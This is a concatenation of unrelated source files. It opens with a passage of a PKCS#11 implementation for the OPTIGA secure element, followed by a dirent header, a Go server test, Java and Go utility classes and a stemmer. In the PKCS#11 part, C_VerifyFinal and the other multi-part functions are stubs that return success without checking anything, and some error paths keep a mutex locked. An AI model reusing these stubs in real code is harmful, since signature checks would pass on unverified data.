!ecdsa_rs_to_asn1_integers(&pucSignature[ 0 ], &pucSignature[ xSignatureLength/2 ], xSignatureLength/2, pubASN1Signature, (size_t*)&pubASN1SignatureLength)) { xResult = CKR_SIGNATURE_INVALID; PKCS11_PRINT( ( "Failed to parse EC signature \r\n" ) ); } } else if ( CKR_OK == check_valid_rsa_signature_scheme(session->verify_mechanism)) { xSignatureLength = (session->rsa_key_size == pkcs11RSA_2048_MODULUS_BITS ? pkcs11RSA_2048_SIGNATURE_LENGTH : pkcs11RSA_1024_SIGNATURE_LENGTH); } else { xResult = CKR_ARGUMENTS_BAD; break; } /* Check that the signature buffer is long enough. */ if( ulSignatureLen < xSignatureLength ) { xResult = CKR_SIGNATURE_LEN_RANGE; break; } pal_os_lock_acquire(&optiga_mutex); pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xResult = optiga_util_read_data(pkcs11_context.object_list.optiga_util_instance, session->verify_key_oid, 0, temp, &tempLen); if (OPTIGA_LIB_SUCCESS != xResult) { PKCS11_PRINT( "Failed to extract the Public Key from the SE\r\n" ); xResult = CKR_SIGNATURE_INVALID; break; } while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } // Either by timout or because of success it should end up here if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { PKCS11_PRINT( "Failed to extract the Public Key from the SE\r\n" ); xResult = CKR_SIGNATURE_INVALID; break; } pal_os_lock_release(&optiga_mutex); pal_os_lock_acquire(&optiga_mutex); pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; if (session->verify_mechanism == CKM_ECDSA) { xPublicKeyDetails.public_key = temp; xPublicKeyDetails.length = tempLen; xPublicKeyDetails.key_type = session->ec_key_type; xResult = optiga_crypt_ecdsa_verify (pkcs11_context.object_list.optiga_crypt_instance, pucData, ulDataLen, pubASN1Signature, pubASN1SignatureLength, OPTIGA_CRYPT_HOST_DATA, &xPublicKeyDetails ); } else if ( CKR_OK == set_valid_rsa_signature_scheme(session->verify_mechanism, &rsa_signature_scheme)) { xPublicKeyDetails.public_key = temp; xPublicKeyDetails.length = tempLen; xPublicKeyDetails.key_type = (session->rsa_key_size == pkcs11RSA_2048_MODULUS_BITS ? OPTIGA_RSA_KEY_2048_BIT_EXPONENTIAL : OPTIGA_RSA_KEY_1024_BIT_EXPONENTIAL); xResult = optiga_crypt_rsa_verify (pkcs11_context.object_list.optiga_crypt_instance, rsa_signature_scheme, pucData, ulDataLen, pucSignature, ulSignatureLen, OPTIGA_CRYPT_HOST_DATA, &xPublicKeyDetails, 0x0000); } else { xResult = CKR_ARGUMENTS_BAD; } if (OPTIGA_LIB_SUCCESS != xResult) { PKCS11_PRINT( ("Failed to verify the signature\r\n") ); xResult = CKR_SIGNATURE_INVALID; break; } while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } // Either by timout or because of success it should end up here if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { PKCS11_PRINT( "Failed to verify the signature\r\n" ); xResult = CKR_SIGNATURE_INVALID; break; } pal_os_lock_release(&optiga_mutex); }while (0); /* Return the signature verification result. */ return xResult; } CK_DEFINE_FUNCTION( CK_RV, C_VerifyUpdate)( CK_SESSION_HANDLE xSession, CK_BYTE_PTR part, CK_ULONG part_len) { return CKR_OK; } CK_DEFINE_FUNCTION( CK_RV, C_VerifyFinal)( CK_SESSION_HANDLE xSession, CK_BYTE_PTR signature, CK_ULONG signature_len) { return CKR_OK; } /** * @brief Generate cryptographically random bytes. */ CK_DEFINE_FUNCTION( CK_RV, C_GenerateRandom )( CK_SESSION_HANDLE xSession, CK_BYTE_PTR pucRandomData, CK_ULONG ulRandomLen ) { CK_RV xResult = CKR_OK; // this is to truncate random numbers to the required length, as OPTIGA(TM) Trust can generate // values starting from 8 bytes CK_BYTE xRandomBuf4SmallLengths[8]; CK_ULONG xBuferSwitcherLength = ulRandomLen; CK_BYTE_PTR pxBufferSwitcher = pucRandomData; do { xResult = PKCS11_SESSION_VALID_AND_MODULE_INITIALIZED( xSession ); if( xResult != CKR_OK ) { break; } if( ( NULL == pucRandomData ) || ( ulRandomLen == 0 ) ) { xResult = CKR_ARGUMENTS_BAD; break; } if (xBuferSwitcherLength < 8) { pxBufferSwitcher = xRandomBuf4SmallLengths; xBuferSwitcherLength = 8; } pal_os_lock_acquire(&optiga_mutex); pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xResult = optiga_crypt_random(pkcs11_context.object_list.optiga_crypt_instance, OPTIGA_RNG_TYPE_TRNG, pxBufferSwitcher, xBuferSwitcherLength); if (OPTIGA_LIB_SUCCESS != xResult) { PKCS11_PRINT( ( "ERROR: Failed to generate a random value \r\n" ) ); xResult = CKR_SIGNATURE_INVALID; break; } while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } // Either by timout or because of success it should end up here if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { PKCS11_PRINT( ( "ERROR: Failed to generate a random value \r\n" ) ); xResult = CKR_FUNCTION_FAILED; break; } pal_os_lock_release(&optiga_mutex); if (pxBufferSwitcher == xRandomBuf4SmallLengths) { memcpy(pucRandomData, xRandomBuf4SmallLengths, ulRandomLen); } }while(0); return xResult; } CK_DEFINE_FUNCTION( CK_RV, C_EncryptInit )( CK_SESSION_HANDLE xSession, CK_MECHANISM_PTR pxMechanism, CK_OBJECT_HANDLE xKey ) { CK_RV xResult = CKR_OK; p_pkcs11_session_t session; CK_OBJECT_HANDLE xPalHandle = CK_INVALID_HANDLE; uint8_t * pxLabel = NULL; size_t xLabelLength = 0; CK_LONG lOptigaOid = 0; char* xEnd = NULL; session = get_session_pointer( xSession ); do { if (!( session->key_template_enabled & PKCS_ENCRYPT_ENABLE )) { xResult = CKR_KEY_FUNCTION_NOT_PERMITTED; break; } if( NULL == pxMechanism ) { xResult = CKR_ARGUMENTS_BAD; break; } /* Retrieve key value from storage. */ find_object_in_list_by_handle( xKey, &xPalHandle, &pxLabel, &xLabelLength ); if( xPalHandle != CK_INVALID_HANDLE ) { lOptigaOid = strtol((char*)pxLabel, &xEnd, 16); if (0 != lOptigaOid) { session->encryption_key_oid = (uint16_t) lOptigaOid; } else { PKCS11_PRINT( ("ERROR: Unable to retrieve value of public key for encryption %d. \r\n", xResult) ); xResult = CKR_ARGUMENTS_BAD; break; } } else { xResult = CKR_KEY_HANDLE_INVALID; } session->encrypt_init_done = TRUE; } while (0); return xResult; } CK_DEFINE_FUNCTION(CK_RV, C_Encrypt) ( CK_SESSION_HANDLE xSession, CK_BYTE_PTR pxData, CK_ULONG ulDataLen, CK_BYTE_PTR pxEncryptedData, CK_ULONG_PTR pxulEncryptedDataLen ) { CK_RV xResult = CKR_OK; p_pkcs11_session_t session; uint8_t temp[2048]; uint16_t tempLen = sizeof(temp); uint8_t key_type; public_key_from_host_t xPublicKeyDetails = {0}; session = get_session_pointer( xSession ); do { if ( FALSE == session->encrypt_init_done ) { xResult = CKR_OPERATION_NOT_INITIALIZED; break; } key_type = (uint8_t)(session->rsa_key_size == pkcs11RSA_2048_MODULUS_BITS ? OPTIGA_RSA_KEY_2048_BIT_EXPONENTIAL : OPTIGA_RSA_KEY_1024_BIT_EXPONENTIAL); if (((key_type == OPTIGA_RSA_KEY_1024_BIT_EXPONENTIAL ) && (ulDataLen > ((pkcs11RSA_1024_MODULUS_BITS / 8) - 11))) || ((key_type == OPTIGA_RSA_KEY_2048_BIT_EXPONENTIAL ) && (ulDataLen > ((pkcs11RSA_2048_MODULUS_BITS / 8) - 11)))) { xResult = CKR_ARGUMENTS_BAD; break; } if (((key_type == OPTIGA_RSA_KEY_1024_BIT_EXPONENTIAL ) && (*pxulEncryptedDataLen < (pkcs11RSA_1024_MODULUS_BITS / 8))) || ((key_type == OPTIGA_RSA_KEY_2048_BIT_EXPONENTIAL ) && (*pxulEncryptedDataLen < (pkcs11RSA_2048_MODULUS_BITS / 8)))) { xResult = CKR_BUFFER_TOO_SMALL ; break; } pal_os_lock_acquire(&optiga_mutex); pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xResult = optiga_util_read_data(pkcs11_context.object_list.optiga_util_instance, session->encryption_key_oid, 0, temp, &tempLen); if (OPTIGA_LIB_SUCCESS != xResult) { PKCS11_PRINT( "Failed to extract the Public Key from the Encryption\r\n" ); xResult = CKR_ENCRYPTED_DATA_INVALID; break; } while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } // Either by timout or because of success it should end up here if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { PKCS11_PRINT( "Failed to extract the Public Key from the Encryption\r\n" ); xResult = CKR_ENCRYPTED_DATA_INVALID; break; } pal_os_lock_release(&optiga_mutex); pal_os_lock_acquire(&optiga_mutex); xPublicKeyDetails.public_key = temp; xPublicKeyDetails.length = tempLen; xPublicKeyDetails.key_type = key_type; pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xResult = optiga_crypt_rsa_encrypt_message(pkcs11_context.object_list.optiga_crypt_instance, OPTIGA_RSAES_PKCS1_V15, pxData, ulDataLen, NULL, 0, OPTIGA_CRYPT_HOST_DATA, &xPublicKeyDetails, pxEncryptedData, (uint16_t *)pxulEncryptedDataLen); if (OPTIGA_LIB_SUCCESS != xResult) { PKCS11_PRINT( ( "ERROR: Failed to encrypt value \r\n" ) ); xResult = CKR_ENCRYPTED_DATA_INVALID; break; } while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } // Either by timout or because of success it should end up here if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { PKCS11_PRINT( ( "ERROR: Failed to encrypt value \r\n" ) ); xResult = CKR_FUNCTION_FAILED; break; } pal_os_lock_release(&optiga_mutex); } while (0); return xResult; } CK_DEFINE_FUNCTION(CK_RV, C_EncryptUpdate) ( CK_SESSION_HANDLE xSession, CK_BYTE_PTR part, CK_ULONG part_len, CK_BYTE_PTR encrypted_part, CK_ULONG_PTR encrypted_part_len) { return CKR_OK; } CK_DEFINE_FUNCTION(CK_RV, C_EncryptFinal) ( CK_SESSION_HANDLE xSession, CK_BYTE_PTR last_encrypted_part, CK_ULONG_PTR last_encrypted_part_len) { return CKR_OK; } CK_DEFINE_FUNCTION(CK_RV, C_DecryptInit) ( CK_SESSION_HANDLE xSession, CK_MECHANISM *pxMechanism, CK_OBJECT_HANDLE xKey) { CK_RV xResult = CKR_OK; p_pkcs11_session_t session; CK_OBJECT_HANDLE xPalHandle = CK_INVALID_HANDLE; uint8_t * pxLabel = NULL; size_t xLabelLength = 0; CK_LONG lOptigaOid = 0; char* xEnd = NULL; session = get_session_pointer( xSession ); do { if (!( session->key_template_enabled & PKCS_DECRYPT_ENABLE )) { xResult = CKR_KEY_FUNCTION_NOT_PERMITTED; break; } if( NULL == pxMechanism ) { xResult = CKR_ARGUMENTS_BAD; break; } /* Retrieve key value from storage. */ find_object_in_list_by_handle( xKey, &xPalHandle, &pxLabel, &xLabelLength ); if( xPalHandle != CK_INVALID_HANDLE ) { lOptigaOid = strtol((char*)pxLabel, &xEnd, 16); if (0 != lOptigaOid) { session->decryption_key_oid = (uint16_t) lOptigaOid; } else { PKCS11_PRINT( ("ERROR: Unable to retrieve value of private key for decryption %d. \r\n", xResult) ); xResult = CKR_ARGUMENTS_BAD; break; } } else { xResult = CKR_KEY_HANDLE_INVALID; } session->decrypt_init_done = TRUE; } while (0); return xResult; } CK_DEFINE_FUNCTION(CK_RV, C_Decrypt) ( CK_SESSION_HANDLE xSession, CK_BYTE_PTR encrypted_data, CK_ULONG encrypted_data_len, CK_BYTE_PTR data, CK_ULONG_PTR data_len) { CK_RV xResult = CKR_OK; p_pkcs11_session_t session; uint8_t key_type; session = get_session_pointer( xSession ); do { if ( FALSE == session->decrypt_init_done ) { xResult = CKR_OPERATION_NOT_INITIALIZED; break; } key_type = (uint8_t)(session->rsa_key_size == pkcs11RSA_2048_MODULUS_BITS ? OPTIGA_RSA_KEY_2048_BIT_EXPONENTIAL : OPTIGA_RSA_KEY_1024_BIT_EXPONENTIAL); if (((key_type == OPTIGA_RSA_KEY_1024_BIT_EXPONENTIAL ) && (encrypted_data_len != (pkcs11RSA_1024_MODULUS_BITS / 8))) || ((key_type == OPTIGA_RSA_KEY_2048_BIT_EXPONENTIAL ) && (encrypted_data_len != (pkcs11RSA_2048_MODULUS_BITS / 8)))) { xResult = CKR_ENCRYPTED_DATA_LEN_RANGE ; break; } pal_os_lock_acquire(&optiga_mutex);; pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xResult = optiga_crypt_rsa_decrypt_and_export(pkcs11_context.object_list.optiga_crypt_instance, OPTIGA_RSAES_PKCS1_V15, encrypted_data, encrypted_data_len, NULL, 0, session->decryption_key_oid, data, (uint16_t *)data_len); if (OPTIGA_LIB_SUCCESS != xResult) { PKCS11_PRINT( ( "ERROR: Failed to decrypt value \r\n" ) ); xResult = CKR_ENCRYPTED_DATA_INVALID; break; } while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } // Either by timout or because of success it should end up here if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { PKCS11_PRINT( ( "ERROR: Failed to decrypt value \r\n" ) ); xResult = CKR_FUNCTION_FAILED; break; } pal_os_lock_release(&optiga_mutex); } while (0); return xResult; } CK_DEFINE_FUNCTION(CK_RV, C_DecryptUpdate) ( CK_SESSION_HANDLE xSession, CK_BYTE_PTR encrypted_part, CK_ULONG encrypted_part_len, CK_BYTE_PTR part, CK_ULONG_PTR part_len) { return CKR_OK; } CK_DEFINE_FUNCTION(CK_RV, C_DecryptFinal) ( CK_SESSION_HANDLE xSession, CK_BYTE_PTR last_part, CK_ULONG_PTR last_part_len) { return CKR_OK; } CK_DEFINE_FUNCTION( CK_RV, C_DigestInit )( CK_SESSION_HANDLE xSession, CK_MECHANISM_PTR pMechanism ) { CK_RV xResult = PKCS11_SESSION_VALID_AND_MODULE_INITIALIZED(xSession); p_pkcs11_session_t session; do { session = get_session_pointer( xSession ); if( session == NULL ) { xResult = CKR_SESSION_HANDLE_INVALID; break; } if( pMechanism->mechanism != CKM_SHA256 ) { xResult = CKR_MECHANISM_INVALID; break; } session->sha256_ctx.hash_ctx.context_buffer = session->sha256_ctx.hash_ctx_buff; session->sha256_ctx.hash_ctx.context_buffer_length = sizeof(session->sha256_ctx.hash_ctx_buff); session->sha256_ctx.hash_ctx.hash_algo = OPTIGA_HASH_TYPE_SHA_256; pal_os_lock_acquire(&optiga_mutex); //Hash start pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xResult = optiga_crypt_hash_start( pkcs11_context.object_list.optiga_crypt_instance, &session->sha256_ctx.hash_ctx); if (OPTIGA_LIB_SUCCESS != xResult) { xResult = CKR_FUNCTION_FAILED; break; } while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } // Either by timout or because of success it should end up here if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { xResult = CKR_FUNCTION_FAILED; break; } session->operation_in_progress = pMechanism->mechanism; pal_os_lock_release(&optiga_mutex); }while(0); return xResult; } CK_DEFINE_FUNCTION( CK_RV, C_DigestUpdate )( CK_SESSION_HANDLE xSession, CK_BYTE_PTR pPart, CK_ULONG ulPartLen ) { CK_RV xResult = PKCS11_SESSION_VALID_AND_MODULE_INITIALIZED(xSession); p_pkcs11_session_t session; hash_data_from_host_t hash_data_host; do { session = get_session_pointer( xSession ); if( session == NULL ) { xResult = CKR_SESSION_HANDLE_INVALID; break; } else if( session->operation_in_progress != CKM_SHA256 ) { xResult = CKR_OPERATION_NOT_INITIALIZED; break; } hash_data_host.buffer = pPart; hash_data_host.length = ulPartLen; pal_os_lock_acquire(&optiga_mutex); pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xResult = optiga_crypt_hash_update(pkcs11_context.object_list.optiga_crypt_instance, &session->sha256_ctx.hash_ctx, OPTIGA_CRYPT_HOST_DATA, &hash_data_host); if (OPTIGA_LIB_SUCCESS != xResult) { xResult = CKR_FUNCTION_FAILED; break; } while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } // Either by timout or because of success it should end up here if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { xResult = CKR_FUNCTION_FAILED; session->operation_in_progress = pkcs11NO_OPERATION; break; } pal_os_lock_release(&optiga_mutex); }while(0); return xResult; } CK_DEFINE_FUNCTION( CK_RV, C_DigestFinal )( CK_SESSION_HANDLE xSession, CK_BYTE_PTR pDigest, CK_ULONG_PTR pulDigestLen ) { CK_RV xResult = PKCS11_SESSION_VALID_AND_MODULE_INITIALIZED(xSession); p_pkcs11_session_t session; do { session = get_session_pointer( xSession ); if( session == NULL ) { xResult = CKR_SESSION_HANDLE_INVALID; break; } else if( session->operation_in_progress != CKM_SHA256 ) { xResult = CKR_OPERATION_NOT_INITIALIZED; session->operation_in_progress = pkcs11NO_OPERATION; break; } if( pDigest == NULL ) { /* Supply the required buffer size. */ *pulDigestLen = pkcs11SHA256_DIGEST_LENGTH; } else { if( *pulDigestLen < pkcs11SHA256_DIGEST_LENGTH ) { xResult = CKR_BUFFER_TOO_SMALL; break; } pal_os_lock_acquire(&optiga_mutex); // hash finalize pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xResult = optiga_crypt_hash_finalize( pkcs11_context.object_list.optiga_crypt_instance, &session->sha256_ctx.hash_ctx, pDigest); if (OPTIGA_LIB_SUCCESS != xResult) { xResult = CKR_FUNCTION_FAILED; break; } while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } // Either by timout or because of success it should end up here if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { xResult = CKR_FUNCTION_FAILED; break; } pal_os_lock_release(&optiga_mutex); session->operation_in_progress = pkcs11NO_OPERATION; } }while(0); return xResult; }
bearxiong99/CodeLibrary
GnuWin32/libgw32c/include/winx/direntx.h
#ifndef __WINX_DIRENTX_H__ #define __WINX_DIRENTX_H__ #ifdef __GW32__ #ifdef _DIRENT_H_ # define _DIRENT_H #endif #include <features.h> #include <sys/types.h> __BEGIN_DECLS #include <bits/dirent.h> #define INVALID_DIRFD (-1) #if (defined __USE_BSD || defined __USE_MISC) && !defined d_fileno //# define d_ino d_fileno /* Backward compatibility. */ #endif /* These macros extract size information from a `struct dirent *'. They may evaluate their argument multiple times, so it must not have side effects. Each of these may involve a relatively costly call to `strlen' on some systems, so these values should be cached. _D_EXACT_NAMLEN (DP) returns the length of DP->d_name, not including its terminating null character. _D_ALLOC_NAMLEN (DP) returns a size at least (_D_EXACT_NAMLEN (DP) + 1); that is, the allocation size needed to hold the DP->d_name string. Use this macro when you don't need the exact length, just an upper bound. This macro is less likely to require calling `strlen' than _D_EXACT_NAMLEN. */ #ifdef _DIRENT_HAVE_D_NAMLEN # define _D_EXACT_NAMLEN(d) ((d)->d_namlen) # define _D_ALLOC_NAMLEN(d) (_D_EXACT_NAMLEN (d) + 1) #else # define _D_EXACT_NAMLEN(d) (strlen ((d)->d_name)) # ifdef _DIRENT_HAVE_D_RECLEN # define _D_ALLOC_NAMLEN(d) (((char *) (d) + (d)->d_reclen) - &(d)->d_name[0]) # else # define _D_ALLOC_NAMLEN(d) (sizeof (d)->d_name > 1 ? sizeof (d)->d_name : \ _D_EXACT_NAMLEN (d) + 1) # endif #endif #ifdef __USE_BSD /* File types for `d_type'. */ enum { DT_UNKNOWN = 0, # define DT_UNKNOWN DT_UNKNOWN DT_FIFO = 1, # define DT_FIFO DT_FIFO DT_CHR = 2, # define DT_CHR DT_CHR DT_DIR = 4, # define DT_DIR DT_DIR DT_BLK = 6, # define DT_BLK DT_BLK DT_REG = 8, # define DT_REG DT_REG DT_LNK = 10, # define DT_LNK DT_LNK DT_SOCK = 12, # define DT_SOCK DT_SOCK DT_WHT = 14 # define DT_WHT DT_WHT }; /* Convert between stat structure types and directory types. */ # define IFTODT(mode) (((mode) & 0170000) >> 12) # define DTTOIF(dirtype) ((dirtype) << 12) #endif /* This is the data type of directory stream objects. The actual structure is opaque to users. */ typedef struct __dirstream DIR; /* Open a directory stream on NAME. Return a DIR stream on the directory, or NULL if it could not be opened. */ extern DIR *opendir (__const char *__name) __THROW; /* Close the directory stream DIRP. Return 0 if successful, -1 if not. */ extern int closedir (DIR *__dirp) __THROW; /* Read a directory entry from DIRP. Return a pointer to a `struct dirent' describing the entry, or NULL for EOF or error. The storage returned may be overwritten by a later readdir call on the same DIR stream. If the Large File Support API is selected we have to use the appropriate interface. */ #ifndef __USE_FILE_OFFSET64 extern struct dirent *readdir (DIR *__dirp) __THROW; #else # ifdef __REDIRECT extern struct dirent *__REDIRECT (readdir, (DIR *__dirp) __THROW, readdir64); # else # define readdir readdir64 # endif #endif #ifdef __USE_LARGEFILE64 extern struct dirent64 *readdir64 (DIR *__dirp) __THROW; #endif #if defined __USE_POSIX || defined __USE_MISC /* Reentrant version of `readdir'. Return in RESULT a pointer to the next entry. */ # ifndef __USE_FILE_OFFSET64 extern int readdir_r (DIR *__restrict __dirp, struct dirent *__restrict __entry, struct dirent **__restrict __result) __THROW; # else # ifdef __REDIRECT extern int __REDIRECT (readdir_r, (DIR *__restrict __dirp, struct dirent *__restrict __entry, struct dirent **__restrict __result) __THROW, readdir64_r); # else # define readdir_r readdir64_r # endif # endif # ifdef __USE_LARGEFILE64 extern int readdir64_r (DIR *__restrict __dirp, struct dirent64 *__restrict __entry, struct dirent64 **__restrict __result) __THROW; # endif #endif /* POSIX or misc */ /* Rewind DIRP to the beginning of the directory. */ extern void rewinddir (DIR *__dirp) __THROW; #if defined __USE_BSD || defined __USE_MISC || defined __USE_XOPEN # include <bits/types.h> /* Seek to position POS on DIRP. */ extern void seekdir (DIR *__dirp, long int __pos) __THROW; /* Return the current position of DIRP. */ extern long int telldir (DIR *__dirp) __THROW; #endif #if defined __USE_BSD || defined __USE_MISC /* Return the file descriptor used by DIRP. */ extern int dirfd (DIR *__dirp) __THROW; # if defined __OPTIMIZE__ && defined _DIR_dirfd # define dirfd(dirp) _DIR_dirfd (dirp) # endif # ifndef MAXNAMLEN /* Get the definitions of the POSIX.1 limits. */ # include <bits/posix1_lim.h> /* `MAXNAMLEN' is the BSD name for what POSIX calls `NAME_MAX'. */ # ifdef NAME_MAX # define MAXNAMLEN NAME_MAX # else # define MAXNAMLEN 255 # endif # endif # define __need_size_t # include <stddef.h> /* Scan the directory DIR, calling SELECTOR on each directory entry. Entries for which SELECT returns nonzero are individually malloc'd, sorted using qsort with CMP, and collected in a malloc'd array in *NAMELIST. Returns the number of entries selected, or -1 on error. */ # ifndef __USE_FILE_OFFSET64 extern int scandir (__const char *__restrict __dir, struct dirent ***__restrict __namelist, int (*__selector) (__const struct dirent *), int (*__cmp) (__const void *, __const void *)) __THROW; # else # ifdef __REDIRECT extern int __REDIRECT (scandir, (__const char *__restrict __dir, struct dirent ***__restrict __namelist, int (*__selector) (__const struct dirent *), int (*__cmp) (__const void *, __const void *)) __THROW, scandir64); # else # define scandir scandir64 # endif # endif # if defined __USE_GNU && defined __USE_LARGEFILE64 /* This function is like `scandir' but it uses the 64bit dirent structure. Please note that the CMP function must now work with struct dirent64 **. */ extern int scandir64 (__const char *__restrict __dir, struct dirent64 ***__restrict __namelist, int (*__selector) (__const struct dirent64 *), int (*__cmp) (__const void *, __const void *)) __THROW; # endif /* Function to compare two `struct dirent's alphabetically. */ # ifndef __USE_FILE_OFFSET64 extern int alphasort (__const void *__e1, __const void *__e2) __THROW __attribute_pure__; # else # ifdef __REDIRECT extern int __REDIRECT (alphasort, (__const void *__e1, __const void *__e2) __THROW, alphasort64) __attribute_pure__; # else # define alphasort alphasort64 # endif # endif # if defined __USE_GNU && defined __USE_LARGEFILE64 extern int alphasort64 (__const void *__e1, __const void *__e2) __THROW __attribute_pure__; # endif # ifdef __USE_GNU /* Function to compare two `struct dirent's by name & version. */ # ifndef __USE_FILE_OFFSET64 extern int versionsort (__const void *__e1, __const void *__e2) __THROW __attribute_pure__; # else # ifdef __REDIRECT extern int __REDIRECT (versionsort, (__const void *__e1, __const void *__e2) __THROW, versionsort64) __attribute_pure__; # else # define versionsort versionsort64 # endif # endif # ifdef __USE_LARGEFILE64 extern int versionsort64 (__const void *__e1, __const void *__e2) __THROW __attribute_pure__; # endif # endif /* Read directory entries from FD into BUF, reading at most NBYTES. Reading starts at offset *BASEP, and *BASEP is updated with the new position after reading. Returns the number of bytes read; zero when at end of directory; or -1 for errors. */ # ifndef __USE_FILE_OFFSET64 extern __ssize_t getdirentries (int __fd, char *__restrict __buf, size_t __nbytes, __off_t *__restrict __basep) __THROW; # else # ifdef __REDIRECT extern __ssize_t __REDIRECT (getdirentries, (int __fd, char *__restrict __buf, size_t __nbytes, __off64_t *__restrict __basep) __THROW, getdirentries64); # else # define getdirentries getdirentries64 # endif # endif # ifdef __USE_LARGEFILE64 extern __ssize_t getdirentries64 (int __fd, char *__restrict __buf, size_t __nbytes, __off64_t *__restrict __basep) __THROW; # endif #endif /* Use BSD or misc. */ __END_DECLS #endif /* __GW32__ */ #endif /* __WINX_DIRENTX_H__ */
BearerPipelineTest/gaia
workers/server/server_test.go
package server import ( "io/ioutil" "os" "testing" "time" "github.com/gaia-pipeline/gaia/security" "github.com/gaia-pipeline/gaia" hclog "github.com/hashicorp/go-hclog" ) func TestStart(t *testing.T) { // Create tmp folder tmpFolder, err := ioutil.TempDir("", "TestStart") if err != nil { t.Fatal(err) } defer os.RemoveAll(tmpFolder) gaia.Cfg = &gaia.Config{ Mode: gaia.ModeServer, WorkerGRPCHostURL: "myhost:12345", HomePath: tmpFolder, DataPath: tmpFolder, CAPath: tmpFolder, } gaia.Cfg.Logger = hclog.New(&hclog.LoggerOptions{ Level: hclog.Trace, Name: "Gaia", }) ca, _ := security.InitCA() // Init worker server server := InitWorkerServer(Dependencies{Certificate: ca}) // Start server errChan := make(chan error) go func() { if err := server.Start(); err != nil { errChan <- err } }() time.Sleep(3 * time.Second) select { case err := <-errChan: t.Fatal(err) default: } }
nt-tuan/dmcit-react
src/views/Base/Person/index.js
export * from './PersonDetail';
WhitesteinTechnologies/SetupBuilder
testBuilds/src/com/inet/testapplication/TestLauncher.java
package com.inet.testapplication; import javax.swing.JFrame; import javax.swing.JOptionPane; import javax.swing.UIManager; /** * Test Program */ public class TestLauncher { /** * Startpunkt vom Installer * * @param args ignored * @throws Exception if any error occur on connection the server */ public static void main( String[] args ) throws Exception { try { // Set OS L&F if some error message will be displayed UIManager.setLookAndFeel( UIManager.getSystemLookAndFeelClassName() ); } catch( Throwable e ) { // ignore } final JFrame frame = new JFrame( "Test Application" ); frame.setUndecorated( true ); frame.setAlwaysOnTop( true ); frame.setVisible( true ); frame.setLocationRelativeTo( null ); JOptionPane.showMessageDialog( frame, "The Application seems to work, right?", "Test Application", JOptionPane.OK_OPTION ); frame.dispose(); System.exit(0); } }
Stegosawr/Albedo
static/types.go
package static import "github.com/bwmarrin/discordgo" // Command Describes a command type Command struct { Description string SpecialPermissions string } // Embeder of different types of content mostly website content type Embeder interface { Embed(s *discordgo.Session, m *discordgo.MessageCreate) (*discordgo.MessageEmbed, error) } // ReactionHandler of reactions to messages type ReactionHandler interface { Process(s *discordgo.Session, mra *discordgo.MessageReactionAdd) error }
PrakashThapa/basex
basex-core/src/main/java/org/basex/util/ft/Stemmer.java
package org.basex.util.ft; import java.util.*; import org.basex.util.*; /** * Implementation of common stemmer methods. * * @author BaseX Team 2005-15, BSD License * @author <NAME> */ public abstract class Stemmer extends LanguageImpl { /** List of available stemmers. */ static final ArrayList<Stemmer> IMPL = new ArrayList<>(); /** Load stemmers and order them by precedence. */ static { // built-in stemmers IMPL.add(new EnglishStemmer(null)); IMPL.add(new GermanStemmer(null)); IMPL.add(new GreekStemmer(null)); IMPL.add(new IndonesianStemmer(null)); IMPL.add(new DummyStemmer(null)); if(SnowballStemmer.available()) IMPL.add(new SnowballStemmer()); if(LuceneStemmer.available()) IMPL.add(new LuceneStemmer()); if(WordnetStemmer.available()) IMPL.add(new WordnetStemmer()); // sort stemmers and tokenizers by precedence Collections.sort(IMPL); } /** Full-text iterator. */ private final FTIterator iter; /** * Constructor. */ Stemmer() { this(null); } /** * Constructor. * @param ft full-text iterator. */ Stemmer(final FTIterator ft) { iter = ft; } /** * Checks if the language is supported by the available stemmers. * @param l language to be found * @return result of check */ public static boolean supportFor(final Language l) { for(final Stemmer s : IMPL) if(s.supports(l)) return true; return false; } /** * Factory method. * @param lang language * @param fti full-text iterator * @return stemmer */ abstract Stemmer get(final Language lang, final FTIterator fti); /** * Stems a word. * @param word input word to stem * @return the stem of the word */ protected abstract byte[] stem(final byte[] word); @Override public final Stemmer init(final byte[] txt) { iter.init(txt); return this; } @Override public final boolean hasNext() { return iter.hasNext(); } @Override public final FTSpan next() { final FTSpan s = iter.next(); s.text = stem(s.text); return s; } @Override public final byte[] nextToken() { return stem(iter.nextToken()); } @Override public String toString() { return Util.className(this).replace("Stemmer", ""); } }
mgsx-dev/gdx-kit
demo-core/src/net/mgsx/game/examples/platformer/game/PlatformerGameState.java
